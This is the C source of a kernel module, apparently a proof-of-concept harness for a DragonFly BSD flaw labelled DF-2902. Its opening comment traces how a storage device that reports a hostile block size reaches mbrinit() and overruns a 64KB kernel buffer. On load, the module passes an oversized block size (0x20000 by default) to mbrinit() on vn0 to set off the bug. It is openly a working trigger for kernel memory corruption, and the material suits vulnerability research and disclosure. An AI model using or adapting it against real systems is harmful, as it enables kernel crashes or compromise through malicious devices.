/*
 * DF-2902 PoC harness.
 *
 * Calls mbrinit() (sys/kern/subr_diskmbr.c) on the vn0 whole-disk cdev with
 * an attacker-controlled d_media_blksize, replicating what happens when a
 * malicious storage device (e.g. USB mass-storage via umass/scsi_da) reports
 * a hostile block length in READ CAPACITY:
 *
 *   scsi_da.c:dasetgeom()  -> softc->params.secsize = block_len (no check)
 *   subr_disk.c:disk_setdiskinfo() -> DISK_DISK_PROBE
 *   subr_disk.c:disk_probe() -> mbrinit(dev, info, ...)
 *   subr_diskmbr.c:132     -> bp->b_bcount = info->d_media_blksize
 *                             (pbuf from getpbuf_mem(): b_data = 64KB KVA)
 *
 * tunable: kenv mbrprobe.blksize=<value>
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/diskslice.h>
#include <sys/disk.h>
#include <sys/devfs.h>

static int blksize = 0x20000;
TUNABLE_INT("mbrprobe.blksize", &blksize);

static int
mbrprobe_modevent(module_t mod, int type, void *data)
{
	struct disk_info info;
	struct diskslices *ssp;
	cdev_t dev;
	int error;

	switch (type) {
	case MOD_LOAD:
		dev = devfs_find_device_by_name("vn0");
		if (dev == NULL) {
			kprintf("mbrprobe: /dev/vn0 not found\n");
			return (ENODEV);
		}
		bzero(&info, sizeof(info));
		info.d_media_blksize = blksize;
		info.d_media_blocks = 64;
		info.d_media_size = 0;
		/* mbrinit rejects d_media_size == 0; _setdiskinfo normally
		 * computes blocks*blksize, do the same. */
		info.d_media_size = (u_int64_t)info.d_media_blocks *
				    (u_int64_t)(u_int)blksize;
		info.d_secpertrack = 63;
		info.d_nheads = 16;
		info.d_secpercyl = 63 * 16;
		info.d_dsflags = 0;

		kprintf("mbrprobe: dev=%s blksize=0x%x blocks=%llu "
			"media_size=%llu\n", devtoname(dev), blksize,
			(unsigned long long)info.d_media_blocks,
			(unsigned long long)info.d_media_size);

		ssp = dsmakeslicestruct(BASE_SLICE, &info);
		error = mbrinit(dev, &info, &ssp);
		kprintf("mbrprobe: mbrinit returned %d nslices=%d\n",
			error, ssp ? (int)ssp->dss_nslices : -1);
		if (ssp)
			kfree(ssp, M_DEVBUF);
		kprintf("mbrprobe: done (no crash)\n");
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

DEV_MODULE(mbrprobe, mbrprobe_modevent, NULL);
